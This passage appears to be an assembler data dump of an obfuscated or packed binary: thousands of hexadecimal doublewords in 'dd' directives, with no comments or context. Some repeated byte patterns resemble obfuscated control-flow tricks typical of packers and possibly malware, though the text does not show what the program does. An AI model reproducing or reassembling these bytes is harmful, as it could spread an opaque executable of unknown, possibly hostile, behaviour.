12h, 0B45870A3h, 335B62D9h, 22ECE5CAh dd 0D6518709h, 0E281497Fh, 3FED7A84h, 0CF806161h, 5E806h dd 95F70000h, 0B954C0A8h, 79AD5257h, 53C08B5Ah, 0FE8h dd 12EB5B00h, 0A86E4E4h, 0D66C83B4h, 0A18BC2ACh, 0BEDFB966h dd 95895B5Bh, 9351291h, 9E861h, 8E540000h, 9308CC5Fh, 0E9ADBF2Bh dd 6, 90CDD929h, 895EC59Eh, 351C39BDh, 68C68109h, 6000005Dh dd 0BE9h, 531B7100h, 0B6DD39B7h, 2E1F48A7h, 0BE8h, 7E691400h dd 37DE371h, 62194196h, 850Fh, 615A0000h, 171568h, 0C2815000h dd 2FDA9A03h, 820F5F58h, 1, 0F1E8BF9h, 68Bh, 0B58D8B00h dd 81093516h, 2D4608EBh, 398D0136h, 8109351Bh, 8B5E4C3h dd 0C6F28071h, 0FF9AF381h, 8B607021h, 350E75BDh, 11E909h dd 62210000h, 3FA9AC53h, 0FE25C0Dh, 230ADF7Eh, 61FCADC1h dd 0EED08153h, 8F1D64DCh, 0C7EA8006h, 17FEEE81h, 14E83612h dd 0CF000000h, 0E1DB69ABh, 0FE9CD06Ah, 9B4FBD1Ch, 941D11B7h dd 8933FBD8h, 3511A1BDh, 0C6815A09h, 361217FAh, 0F18B6060h dd 0EE8h, 3FCC0400h, 1B568236h, 252F5B3Eh, 5B1EBDE5h, 6E861h dd 228E0000h, 75FCFA3h, 0EF81615Eh, 1, 0FF4F850Fh, 890FFFFFh dd 2, 8D8D69B2h, 93A4E04h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0E1C35747h, 86EE903Dh, 12B18529h, 858B0935h dd 93524DDh, 16298D89h, 6A0935h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 5902C1C3h, 0EEEB2706h dd 85C73E2Fh, 935287Dh, 5954h, 85C74EB3h, 9352255h, 0 dd 2779B589h, 81660935h, 0FFCB65E8h, 35331DB5h, 595FF09h dd 6A09350Dh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 6A11C350h, 2995FF00h, 8B093508h dd 2E5EEBC0h, 48B9D9BDh, 0EEFB0571h, 878BF83Fh, 67CE04B3h dd 79B86EC8h, 0B47A0381h, 0C3A14D33h, 2EB7C260h, 0FAC1C6B5h dd 24949989h, 7A1668ACh, 41E12049h, 0A1B88632h, 3D11D7C0h dd 6E8A53C0h, 0DBF206EAh, 0BFD5AD10h, 1420F6D7h, 71D46B23h dd 12CC09F9h, 5E8AA3AFh, 0EE4AC20h, 103C8F79h, 308D8D04h dd 89093A4Fh, 3523FD8Dh, 298D8909h, 6A093516h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 15FAC355h, 0F78BA06Ch, 287D85C7h, 5E800935h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 888F85C3h, 568DFEEFh, 0BD8B23FCh, 9351755h, 225585C7h dd 935h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 30B83FC3h, 6BF375FCh, 25EDB58Bh dd 0B5FF0935h, 9350C45h, 0A7C186BEh, 1DBF6657h, 595FF59h dd 6009350Dh, 2D9B509h, 7E90935h, 72000000h, 0C1C58550h dd 6A614A7Fh, 2995FF00h, 8B093508h, 5148EBC0h, 7B8BC36h dd 23EB028h, 0A7E75C40h, 0A1B51BE3h, 0D07939DBh, 47346F75h dd 72238D4Dh, 0B2883C67h, 0C6CB1AF5h, 0DF8F920Fh, 0D2694095h dd 0D03522A0h, 0EA4F06B1h, 0A584BE6Dh, 46C9A95Eh, 7FC2583Eh dd 0B2252A85h, 20837A10h, 0D9B63FCEh, 7AD9BC54h, 0BE96032h dd 24013032h, 8B59F36Ah, 80051476h, 9B051476h, 13032h dd 0C80FF362h, 0D4964CF9h, 0B267C435h, 0A96F1Fh, 3F6B43Dh dd 16B3032h, 8002D861h, 1B213032h, 7C886BF1h, 54803416h dd 81C3416h, 57423032h, 33D6D0F1h, 0CAF3A600h, 3DB876Ch dd 750E8D8Fh, 0A40E303Bh, 10013071h, 0E0573058h, 4013031h dd 5CC26E12h, 52544BBh, 842574B3h, 40013026h, 79C26674h dd 100124DAh, 0AFADC132h, 0EB40249Ch, 0AE008A03h, 48E26DE5h dd 769E3CDh, 0F59C19F4h, 7B08053Ch, 1000B4DBh, 98E58332h dd 410D961h, 9D293032h, 0BC620F2Dh, 5B770E0Eh, 0A9FB11E6h dd 7BE4C194h, 15E86662h, 0E4013032h, 0D4D8922Dh, 0B788A069h dd 83417F3h, 0A44D313Dh, 12015ACCh, 200133DAh, 0D35B1032h dd 2C55B968h, 2045B136h, 2012836h, 0C2537232h, 47FC85ADh dd 4CE86858h, 8013032h, 50030E82h, 0EBA6D76Eh, 87A08529h dd 26B1CF2h, 102D860h, 0DA213032h, 14886AF1h, 64803416h dd 101C3416h, 5A433032h, 555CBDF1h, 2D59B13Eh, 0E843194Ah dd 80013026h, 12CBDE7Eh, 0EAB67EE7h, 0C562A743h, 85993EA7h dd 0B3978172h, 836738B9h, 67AFD2C4h, 8FFD78B9h, 40013CBBh dd 26893F32h, 1F013032h, 80130B2h, 3D805632h, 860ECF04h dd 101304Eh, 68503058h, 40013031h, 79C26912h, 14257CBBh dd 0C2574B3h, 4013028h, 0E4C26173h, 0BB7C6C7h, 4182AE76h dd 22BC8E3Bh, 19815970h, 92843FDBh, 0B7013032h, 73A52CA0h dd 640071B9h, 2C0AB8Dh, 0D1015AFAh, 400133DAh, 0E3581032h dd 344DB96Bh, 2C45B136h, 4012636h, 0C1507132h, 57C1FA76h dd 85C0B368h, 69788DB9h, 19803907h, 9B427BA2h, 83EB53Dh dd 918A3032h, 0B3412BFh, 4D03BDBFh, 806B3907h, 4002D867h dd 7D213032h, 7C886DF1h, 4C803416h, 41D3416h, 57443032h dd 14C7F1F1h, 7B45CD12h, 0C60E9EBDh, 20013033h, 13B9C8CEh dd 0F7013032h, 0D78051D3h, 400672D8h, 4E7C8DBFh, 0D8C3908h dd 493B61FCh, 0B282448Ah, 0D1840333h, 2308051Dh, 20E8F1FDh dd 0D9B63FCEh, 7AD9BC54h, 0BE96032h, 24013032h, 8B59F36Ah dd 80051476h, 0F305E983h, 6AC08BA4h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 4D9CC355h dd 0B5893004h, 9352D25h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 0EBC35545h, 0CE8C38Bh, 9E000000h, 0ED479472h dd 1345414Ah, 66F6EE80h, 5FA069BEh, 73E2C781h, 2AB80000h dd 0B95152D7h, 29E7535Eh, 4F94F181h, 858929E7h, 9352C6Dh dd 5AF537FFh, 0F281F28Bh, 0DFBB902h, 1F499D89h, 0F2810935h dd 344357A8h, 0C7C08166h, 77F28136h, 802EB046h, 0E9525CD3h dd 6, 0B0F0492Ah, 78FC8D6h, 0C0816657h, 835EB80Ch, 0EE902EFh dd 0B8000000h, 52F57A2Ah, 84E733E6h, 0B1AB373Ch, 8B4F4FEFh dd 35269185h, 1E98309h, 19850Fh, 9D290000h, 93512D5h, 24E9h dd 0A0E0C800h, 0DA91C8E0h, 0C57CE175h, 0F96B5652h, 0FFFF7FE9h dd 0E6B329FFh, 0C56DFBF2h, 0D4F6B339h, 36B4CF52h, 0E68D8D99h dd 0E9093A53h, 0Ch, 0A7485F2Ah, 8824407Ah, 73B6C16Ah, 16298D89h dd 6A0935h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0DE0F42C3h, 6EFF2EA1h, 85C7BCC5h, 935287Dh dd 6ED0h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 0AAC35242h, 0BD436BF0h, 8961FCDCh, 35018585h, 5585C709h dd 93522h, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0B5CEC350h, 69AD5CE6h, 0DAB70F45h dd 0F3D78166h, 95B5FFFAh, 6A093530h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0C0FCC355h dd 0EE53A458h, 0D0595FFh, 810F0935h, 5, 77DDBFh, 7E95Dh dd 52240000h, 95528ABFh, 0FF006A25h, 35082995h, 0EBC08B09h dd 9D328E6Eh, 0E4FF84C8h, 1465FD33h, 4CDB0E16h, 0A5A8203Ah dd 6C6AB5FAh, 1C4898Fh, 0B8BDC796h, 9E64C65Eh, 0D9EA0371h dd 0DE43F608h, 4117B68Dh, 6D720188h, 0EFF8E3D6h, 54F40CAEh dd 55C2DE3Eh, 63A3D62Dh, 3154EDC1h, 18663711h, 0CDA89843h dd 81777E9h, 323C1174h, 238C41B3h, 40DC4163h, 0B2DDDD36h dd 82AB5278h, 3BF1C4F9h, 8D1918ECh, 3A55578Dh, 8D89F509h dd 9351629h, 287D85C7h, 5FC40935h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 8B56B2C3h dd 15858975h, 8B093528h, 352779B5h, 5585C709h, 93522h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0BFC6C351h, 6C017A9Eh, 8AE17BECh dd 0B5FFFA8Ah, 93506B5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0C5C35040h, 13E8h, 0EFC15500h, 5680EBB1h dd 38278D89h, 5AEACA16h, 5033E961h, 0DE9h, 0A7A21500h dd 7068B674h, 0DDFF7357h, 0FC5B13ACh, 0D0595FFh, 6A0935h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 4898E3C3h, 5D64DB66h, 7E906E2h, 0 dd 858FB8F4h, 6A3DBAh, 82995FFh, 0C08B0935h, 0D9571CEBh dd 90D2B973h, 0E5FE170Dh, 0DDA9AA98h, 8D73EDA6h, 9FE2CC79h dd 0EB684769h, 4EBBCA9h, 127E638Fh, 592E9h, 3196C400h dd 6079F46Ch, 2FAAC53Bh, 6572EA6Eh, 30A9C038h, 2FDBB06Bh dd 86FAA336h, 2DB3E8EDh, 83F5A633h, 7A9F2EFh, 0ECB319C7h dd 0F6A712FBh, 0A3302ED0h, 2B47AC53h, 1D9F43AEh, 0E25C9801h dd 7C7E4E4Bh, 2C01F5E2h, 0D41FB8B4h, 20D3CC60h, 2A904E7Ah dd 1E1C3641h, 0ECE98678h, 0FE9B9608h, 250F8EF3h, 0AC726020h dd 0A01537BDh, 5946DA54h, 1E820D75h, 0EF7776C5h, 0B0AE3207h dd 1A11AB23h, 0EA04918Fh, 0E07B8507h, 0B42C01F5h, 30D61DBAh dd 0F806938Eh, 0F7797861h, 3968DFFh, 0F3E47CF0h, 8918C00h dd 0BAAAFBE9h, 6C58C5BFh, 0FEEC8799h, 6AB5497Ch, 4D64863Ah dd 8D743C97h, 0AAC63A63h, 9E20C62Dh, 59DB1683h, 27C0079Dh dd 0E1C51C36h, 795540DFh, 3627616Bh, 0A353551Ch, 2865664Eh dd 3F895014h, 7Eh, 0AE2B4790h, 4211B543h, 2C411C36h, 0C82BAEC5h dd 0D547AA44h, 10B63D5Ch, 3641E8D2h, 23BADC1Ch, 733116FEh dd 1C364149h, 80559B3Dh, 87C6876Dh, 0E0894FF9h, 1, 0AF2A47AFh dd 445DD044h, 94233BADh, 3641644Eh, 0B03E601Ch, 8091641Ch dd 30900D22h, 7B2959F2h, 1C357D51h, 0A94DA345h, 29BEB62Ah dd 0C84CA732h, 0C759CB26h, 0BC2917DAh, 7DE02DC8h, 5049E497h dd 99954Bh, 2E47B89Bh, 396723ABh, 1C364193h, 0E956187h dd 275C2468h, 0CD527E41h, 0AC971DC7h, 0EB931C35h, 35AD0FB5h dd 0BE50B1Ch, 0E5FC71EBh, 472D9E0Eh, 7F1CBDB4h, 757C65F9h dd 82716C03h, 318FEF9Fh, 3D305C94h, 100451A5h, 7928933h dd 0E48C68ECh, 895020B9h, 55CEh, 2E47FD00h, 5BD448ABh dd 0CF4EB33Eh, 7E1B12E5h, 0D7C25B1Dh, 37B0A81Ch, 0A0539D38h dd 577C68BDh, 28CCCD65h, 50005588h, 593289h, 15610000h dd 8C6875EBh, 908E1B12h, 6F811C13h, 60FE7281h, 0C9615B73h dd 79D24D0h, 0E27B0EF6h, 4CE5D7F7h, 0D222A64Dh, 2A4756F5h dd 0A008A3BFh, 0F7EFDFC7h, 856C826Ch, 356BD0F7h, 91F1D51Ch dd 95101DC1h, 0C10EE6A4h, 37D3FAD3h, 25978950h, 0E0648F0Ah dd 16514h, 15260000h, 0D9B9AEADh, 0FAFA6E95h, 0DAF2EF80h dd 0A97F4AA2h, 4FE4CB9Dh, 48ECD453h, 6F558B6Eh, 6B1C358Ch dd 7D23AB45h, 1C358C37h, 0CA49AD33h, 36BDDA56h, 1CEFD546h dd 3A059603h, 8917B76Fh, 1502AE5Eh, 7C507C22h, 0AE289250h dd 7A1C1300h, 0AE6268h, 78426013h, 6C1300AEh, 9E56586Ah dd 38B1AD1Fh, 0B335BC25h, 1666603Dh, 371D2BBEh, 0DA54A0B9h dd 0A9A5946h, 1300D7C2h, 0B84331D2h, 9E623BA4h, 9D0C2582h dd 58DC1782h, 17D95B96h, 0EBF468DCh, 5742D9E3h, 4DE6189Ch dd 0CF27A948h, 8173E050h, 0F0DA08C4h, 0E41300D7h, 0A4B832C2h dd 1D70623Bh, 4A928564h, 129h, 0D39B2E89h, 2CB0435Eh, 4DD40AC2h dd 0D515035Fh, 563033EDh, 6F879302h, 2ED41FC1h, 0D3CC605Ah dd 7C469C20h, 78130085h, 100C7E76h, 911B4E59h, 764AFAF5h dd 142D20EEh, 4E4FA1F8h, 0EA09968Ah, 705A8844h, 64130126h dd 2438B242h, 0ADC438BBh, 0DA53C52Ch, 0B24154CFh, 4331C02Eh dd 0FD07E2D2h, 5DD1A490h, 1A735744h, 4D928515h, 47h, 0EFEA8779h dd 872E6807h, 7EF507C7h, 9BEF9B5Bh, 819F0A21h, 9517DA14h dd 4219D361h, 0B8D1C36h, 417258E8h, 4D811C36h, 0D91DB8B3h dd 0DDD4988Ch, 0C923C10Dh, 0DD1C3641h, 7AA8E2BBh, 0E4000000h dd 9A5946DAh, 2E3FDE16h, 0B30BC39Bh, 0B0F6E89Fh, 31DD1932h dd 2FBCC73h, 322EC015h, 34A84BA5h, 7AFE9F38h, 897FCBE6h dd 11CA8C6h, 237404EFh, 0E91300CBh, 0C15D281Ch, 866871E8h dd 0A77F4A15h, 9FAD7927h, 4F510BD6h, 2F954B7Fh, 2B1C271Fh dd 0F9E47B85h, 6E0276FDh, 41928271h, 0EA847653h, 728206EDh dd 0C4DAD4DFh, 1C271FFEh, 0D2FAF4FAh, 0FCF5000Ch, 0A9F2F414h dd 0C39B2E0Ah, 1749D50Bh, 13B7150Ch, 0FBECE7CDh, 948FE312h dd 0A4B4B734h, 651BDB15h, 203CB043h, 0C82BAEC7h, 6FF1AA44h dd 597EF6F3h, 19D8169Ah, 37BAF08Bh, 0B32C40FEh, 4851CC40h dd 0F3E144A9h, 0A29213F8h, 8E3E5BD7h, 0BA1EA43Ah, 661A09B7h dd 2292E067h, 0AF519FE0h, 4BCD24B1h, 160ACEABh, 0A7BB4589h dd 2AC9D64Ah, 27A948A6h, 44DC50CFh, 0CB0A053h, 8F627FF2h dd 0A89CE90Dh, 0F46841DDh, 9B9408EBh, 7F71F3FEh, 0CD635D71h dd 0A2372ED0h, 2FD17552h, 0DD4FA732h, 18745841h, 0B83F408Ah dd 42B23409h, 0AD3BBh, 8D2F0000h, 68EC0792h, 844FE58Ch dd 41B01547h, 0AB4653CFh, 37BA2739h, 0C82BAEC5h, 35BCDD54h dd 0C42FAAC3h, 34BFD850h, 0BF32AFC0h, 2AC9D04Dh, 0E289525Dh dd 4C281h, 0EA830000h, 24148704h, 2434895Ch, 4B9568h, 243C8900h dd 0C5968h, 24348900h, 3FD3B850h, 58BF7052h, 81570224h dd 5953ACE7h, 0D1EF8178h, 0F712AF3Dh, 8E7C1DFh, 8105EFC1h dd 0EE7C08C7h, 58C73173h, 24348B54h, 5104C483h, 4E89F989h dd 240C8B08h, 4C481h, 348B0000h, 0E0895024h, 405h, 4C08300h dd 5C240487h, 52243C8Bh, 0C281E289h, 4, 4C281h, 14870000h dd 0C9E95C24h, 0FEFFFB23h, 79356584h, 0B80AC5E4h, 93A5A7Fh dd 0E0FFC503h, 0EE013F2h, 65E7A26Dh, 495F3656h, 3EE4671Ch dd 45669895h, 7168974Fh, 4FA6C503h, 40D74A28h, 2ECA0DBCh dd 3BAC72Ah, 0E660176h, 3D28B46Fh, 4A91C9EFh, 1FC219BFh dd 54A25741h, 23519D8Dh, 39B80935h, 89000000h, 35277585h dd 0E809h, 5580000h, 0Dh, 39E90389h, 0 dd 0Dh dup(77E600h), 0FF77E600h, 6E8h, 0BDC79600h, 52C65EB8h dd 14E952h, 0E1E00000h, 7FD9DB81h, 44D4D012h, 59C32830h dd 5095EF25h, 5858906Eh, 7E95Fh, 93D70000h, 4C614768h dd 0C1C781D8h, 8A000061h, 0FFDB2BE5h, 4DB43B34h, 11E85Ah dd 2E7E0000h, 0E1D5C7BEh, 22A560DCh, 60B2888h, 0F819B71h dd 68Bh, 860F00h, 59000000h, 42CF281h, 81662363h, 81EAB5C1h dd 983508F2h, 81CDB440h, 352273C2h, 0DE967h, 878B0000h dd 67CE04B3h, 79B86EC8h, 897A0381h, 14E81F14h, 42000000h dd 0A3F7BEDEh, 6A4A8C12h, 0C4A8898Bh, 465B27F6h, 58F7B3E8h dd 182BF681h, 0EB835556h, 0FE801h, 860F0000h, 0F95455B3h dd 0F32C056h, 0CA95894Eh, 4B4B5857h, 8B66514Bh, 0FB8158CBh dd 0FFFF9F40h, 11850Fh, 0E9FC0000h, 22h, 6585B015h, 4896682Ch dd 81F5C3A4h, 72BD1FC8h, 0FF41E962h, 3276FFFFh, 0D8AC7415h dd 70FCBDA3h, 6CEBA57Bh, 726F6853h, 74756374h, 206F7420h dd 72617473h, 707574h, 14h dup(0) dd 501ACFF5h, 1, 0EFAE9h, 5EE06800h, 69E9093Ah, 68FFFBE8h dd 93A5FEDh, 0FBE85FE9h, 616D68FFh, 55E9093Ah, 68FFFBE8h dd 93A61B3h, 0FBE84BE9h, 627B68FFh, 41E9093Ah, 68FFFBE8h dd 93A6308h, 0FBE837E9h, 66EA68FFh, 2DE9093Ah, 68FFFBE8h dd 93A69E9h, 0FBE823E9h, 6AA968FFh, 19E9093Ah, 41FFFBE8h dd 0BCCBD08Eh, 4A356616h, 0AFD0DD81h, 4C3B601Eh, 2CC8D585h dd 0B8A62D81h, 3A3A94F3h, 0BEBE1671h, 462692EDh, 0CB4A3755h dd 0CF87DD59h, 0CEE991FAh, 40435A1Ah, 94A3D494h, 0C1633A3Ah dd 4B9CABF2h, 0E4D93C4Dh, 0AFCF82A6h, 0F1EFA679h, 71CF82A6h dd 0A8578F0Eh, 39F9B1D1h, 7Eh, 0ED8D3750h, 1D0EDCD6h, 0F629557Eh dd 0F7A1DDF1h, 7994D400h, 7990792Fh, 0B0DD458Eh, 0E1AFCE87h dd 41C07325h, 0CF82FC54h, 0ABD3F80Fh, 714A1074h, 7CF03FB8h dd 76A22B06h, 1E5E7681h, 0F2B7A5FFh, 0CB85D826h, 6E23784Bh dd 0CF82C770h, 5A704D81h, 6E997422h, 7DD4B860h, 2D895300h dd 69CCA47Bh, 897EF82Ah, 8460FEE3h, 0E3E888DFh, 9600A47Bh dd 85F9189Bh, 0F9B162DEh, 0CB07h, 1ACE4F00h, 587F2D5Ah dd 3EE2A9h, 95D0C37Eh, 573636A2h, 4289F6CDh, 0D206011Ch dd 7D8A7B92h, 9EEA2551h, 4C2C98A3h, 33FFAE5Fh, 0D80CC64Eh dd 40749398h, 0F13AED20h, 4ED8844Ah, 7896B339h, 2CB1AC4Ch dd 0F4A92C15h, 5FCF8356h, 3C7C0C9h, 6C759BCh, 9C8CCF83h dd 5572370Ah, 14718686h, 0D8BABB46h, 0C9BECB5Dh, 304F5C02h dd 4B9DE199h, 4E7562D7h, 0C93972Bh, 0E3EE0000h, 755DAA73h dd 0EEE32409h, 735CAB70h, 0E6ED1A03h, 2EC9B378h, 0A28BF3DAh dd 0C0ED6965h, 4C5109BFh, 0C4E9893Bh, 0C41EA7D0h, 97CF87DEh dd 7CE4AE4h, 540ABFB8h, 0BC26EF39h, 9FC64D80h, 0F10E1F89h dd 63326BC7h, 87AC7940h, 0EC235B70h, 551D0E98h, 0EA1F1D0Eh dd 6ACBA42h, 0CFF9CFCAh, 821470AFh, 5A3FC6AFh, 9CF8336h dd 8DA4D0FEh, 21417304h, 35736DD8h, 30E8CF83h, 0D44AA7E6h dd 1DCF8335h, 91D6C9B5h, 1F4A4539h, 83352CB6h, 25F92FCFh dd 7FF92B6Ah, 0A64D8110h, 2FF9B146h, 0A4h, 17B7D0B7h, 0C6500CC6h dd 145480EBh, 97C70EF9h, 85D21978h, 96A1C64Dh, 46F4222h dd 506790D0h, 7B0D0078h, 32A6E1C8h, 822A5B32h, 46DAF866h dd 0AB8632h, 5DE81117h, 0CF833A40h, 0A7988593h, 3A4F3840h dd 832549DBh, 231E0ACFh, 0D64CBB1Ah, 1D0BD8BAh, 0E5F4DBECh dd 0F4B96FEFh, 4E3E3C93h, 7562F1E2h, 8606DCBFh, 0E100000Bh dd 5CAB70EEh, 0EA150676h, 4FB07DE1h, 0EC1B007Eh, 0CCA875E5h dd 5806CD21h, 0DA9A3453h, 5E1EB6D1h, 0E686324Dh, 2BAAD7B5h dd 0CF87DFB9h, 0CE49F19Ah, 39465707h, 34BEEF8Fh, 2D5A1ACEh dd 8027B91Ch, 0FC2CC64Dh, 0A3155245h, 0FEEDDAC3h, 0FB8C09FEh dd 0BACF82A3h, 675A04CDh, 0B2B3EA3Eh, 605313C5h, 82A37B61h dd 1978E7CFh, 0B1D03EE5h, 7A7F9h, 2D2F0000h, 827h, 1F1D0ECDh dd 0ABF66BEAh, 0CB5DCF82h, 45258FD4h, 0BDBD2758h, 3E90A7E2h dd 0CC895F3Eh, 0D5816AA8h, 47C67D2Bh, 36C6D403h, 72D3E693h dd 34BE9370h, 797E35E3h, 1D5D871Ah, 0A5C5EF10h, 5C887F6Ah dd 3BA8251Ch, 0B834BE93h, 2F346B13h, 0CFABE298h, 0D8CFFD1Ch dd 4D319AADh, 6F029176h, 9F82545h, 938B9500h, 58D034BEh dd 0D7B6A02Dh, 0DF09764Dh, 811809Fh, 2634BE94h, 17C150BFh dd 8F394657h, 24F3B0EFh, 0C972D324h, 1C611187h, 2D701F0Ch dd 5F1FB3C4h, 0A2CDE440h, 0BF463339h, 683E8EFEh, 0CCBD9B8Dh dd 1193F320h, 3CF7A96Bh, 0ED0E52BDh, 8DF80135h, 15EBCD93h dd 166150C8h, 53B2C7C5h, 1F20ED06h, 3D9E4A3Dh, 52B6E995h dd 843FC9C4h, 0D3D0CF59h, 4F30404h, 7C66EFCEh, 0DF0CF8D2h dd 59E4DF49h, 314E56FCh, 0C10A7D16h, 7026829Dh, 83447087h dd 94990F4Fh, 0DD214173h, 3AF3CC67h, 60BD7C2h, 6100000Ah dd 0DC2BF06Eh, 6A9586F6h, 0CF30FD61h, 6C9B80FEh, 4C28F565h dd 0D8864DA1h, 5A1AB4D3h, 0DE9E3651h, 6606B2CDh, 0AB2A5735h dd 0CF87E139h, 0D0C9711Ah, 366911B7h, 6054DFD2h, 0E548FC00h dd 0AED17560h, 9C018h, 0C2B01B00h, 3824AED9h, 0BFBF1473h dd 423C91EEh, 0B7A72E59h, 0B5F0EE6h, 7A8596C4h, 4032854h dd 609F8CCCh, 0E527F474h, 0E18799FCh, 0BFCCCF87h, 0DB7D037h dd 0E7A27F6Dh, 9AFDB698h, 48289CA7h, 0C3BB1255h, 0ABFDAFDAh dd 6517931Ch, 0C8F6C47h, 901AF9A3h, 2F17283Ch, 5FA9E49Ah dd 5ECDFAC9h, 0D3AC295Eh, 0A2CF82B0h, 0F5A7D076h, 63CED580h dd 43C2712Fh, 914046A2h, 3740488Fh, 0AD489CEh, 110C1C98h dd 0B2C7C516h, 43263D53h, 0A9215691h, 9C4EDAB5h, 0D4844778h dd 0F5029455h, 9F92CA02h, 2F96A396h, 8ED306B5h, 1ECB8B44h dd 6F8EA6Bh, 0CD5B8ED3h, 0E9DB685Bh, 7163A489h, 63430DF1h dd 0C3D6BDE5h, 8F81Fh, 0FA785300h, 80FCD631h, 0F7676C9Bh dd 8AF4D926h, 0EF6F66A1h, 439736BEh, 0A2DDCE8Ch, 1C6B302Ch dd 0A8D7C4B4h, 1D6F3C3Ch, 0E24FD134h, 7704CF87h, 5A1ACEFFh dd 0D0884043h, 81384ACBh, 0F239C64Dh, 6C389DEAh, 0EBCF87DDh dd 4C3D4C3Dh, 87DC57C9h, 152CFCCFh, 0B61FBE2Ah, 0CF87DC2Ch dd 8510F92Fh, 0CF87DC9Bh, 0EDBE68C0h, 47462692h, 0CAC5B51Ch dd 0B92BAA9Fh, 9ACF87DCh, 9776E0EDh, 9BA89B0Dh, 21394535h dd 807C5AB9h, 86BC99Dh, 0BC60000h, 0AD25624Bh, 369BECB1h dd 0AB246348h, 4E8582ABh, 0C6710B10h, 0FA235B72h, 8895C10Dh dd 4295177h, 8C91D103h, 0ECF65F88h, 6FCF87E3h, 1ACE921Ch dd 3542435Ah, 59E6DD99h, 0F3100F6Fh, 4E7A0988h, 0B65DFD2Eh dd 15F084F3h, 0FFB2AA22h, 53280h, 1D0EC600h, 142EA1Fh dd 0B735AC0h, 1F7AA361h, 0E8BC1924h, 6FCF8833h, 0DB7D0B9h dd 0A82D1C6Dh, 0CF878B3Eh, 97FE0B1Dh, 0CF878B8Dh, 2675ACEh dd 0BCD3D145h, 0F3F81655h, 6EECE348h, 0DE9E342Fh, 0F817E4BFh dd 6CBAA429h, 80F4238Ah, 80D290D3h, 4F02h, 180E4800h, 7E68ED1Ah dd 7DC64D80h, 0DDCA7DEFh, 0A14A4334h, 1F8F0F95h, 0AC2651C7h dd 784BDDB0h, 0B9CEBB6Dh, 0D1336A14h, 5E086DE2h, 8CE6B552h dd 9425AC9Bh, 0B2ED3B3Bh, 0B2A81F56h, 699DFCFFh, 0D0E3FABAh dd 72Bh, 0E42DB300h, 0CD000001h, 0EA1F1D0Eh, 87DD9F6Bh dd 2D60B8CFh, 87DD5BC8h, 0ABEADDCFh, 0C0C9CF18h, 0C23AF155h dd 123AA2D8h, 9995BEB1h, 0D7CB55C0h, 9890C64Dh, 586F980Eh dd 74390870h, 0DFBEBC13h, 0B03293A6h, 0A3C64DD7h, 1AB1BE75h dd 709F2964h, 37B5221h, 75E1ED1Ah, 0F5616D9Ah, 7BFBED1Ah dd 0EF6F5FA4h, 75A447B0h, 0A7D58B0Bh, 0B761CCC5h, 0ECBFDE21h dd 7072D3E2h, 0E3C64DB0h, 5BBAE335h, 0C64DB0DFh, 0C9BEBE16h dd 5A6915BEh, 0FFC0F413h, 6C6295D5h, 1D8B1DF0h, 180E7802h dd 7D51741Ah, 19F47460h, 483F198Fh, 0E3833586h, 0AA4CCB35h dd 6C39584Bh, 6D66775Bh, 1C8A1EF1h, 0F3CE7525h, 0D017F084h dd 5F000003h, 385707CEh, 3BAD00DBh, 0B51F643Bh, 26AFDAB5h dd 0C64D80BCh, 84EB899Fh, 0EF542715h, 0EDE4D3A0h, 27B91C6Dh dd 2CC64D80h, 933A45FCh, 0EC5C2EBh, 3797AE50h, 2FE0B947h dd 0C4BA11E0h, 1615302h, 807A670Eh, 49BCC64Dh, 0ED8D37CAh dd 0B209BFC0h, 4D80D153h, 9682C6h, 0E6EBDC0Dh, 3003A578h dd 4D804CD1h, 0D140CFC6h dd 0C9D28A42h, 4D8D4E4Ch, 0C953A4C6h, 8CF82DBEh, 9D2D04CAh dd 0F08447F7h, 0FFFF4DE0h, 1ACE66FFh, 8236515Ah, 0D946ABE2h dd 5FC64D80h, 6B5C2968h, 0F464F664h, 2508782Bh, 1ACEB988h dd 9F36515Ah, 8502AADFh, 9FCEBB16h, 0BC224A1h, 8791C64Eh dd 0C82D2211h, 96C1ACC7h, 4B68F4E5h, 0BEAD29FDh, 0CA49AE85h dd 0F74DED92h, 4DF420h, 0E7A0000h, 0DFEA1F1Dh, 40F15E4Dh dd 587217EDh, 99FE924h, 336FDB3Ah, 0F028CF88h, 8B6F781Dh dd 92FDCF87h, 4D857203h, 97AAFE11h, 0BF0A5807h, 1389F9h dd 5CD10000h, 0C64D8B9Ah, 0FE2A6CF8h, 2D8CFFFFh, 7, 2AD2DCDh dd 0CECD0000h, 1A2D5A1Ah, 36D2CDB1h, 0E9DB087Bh, 0A679E1E8h dd 8100E263h, 0C553C64Dh, 0E7D8C553h, 0FA0FF800h, 4D80899Bh dd 635ECAC6h, 7BDAEFDAh, 0C64D8069h, 82473EEAh, 4C67C1DCh dd 82A7106Dh, 0A4D543CFh, 4E412193h, 0DD9407BAh, 0CF82A6FFh dd 699DFC63h, 0F9B1D1BAh, 0BCB81621h, 0B6C47E1h, 49h, 11B7D053h dd 0BE2D5A69h, 0C7C0C9BEh, 0AB415C02h, 0C9603B92h, 92A1F75Bh dd 82E12633h, 0B4EB3DCFh, 8280DF3Dh, 0A19683CFh, 0B42E9728h dd 0A7CF8280h, 9CE82771h, 0F258A6CEh, 0D7EA7FB2h, 8231A5F4h dd 53F9B178h, 0ADh, 5A1ACE9Bh, 0D1894043h, 5F1FC9BEh, 2341822Ah dd 0C9A2ADFFh, 296410BEh, 746FE4DFh, 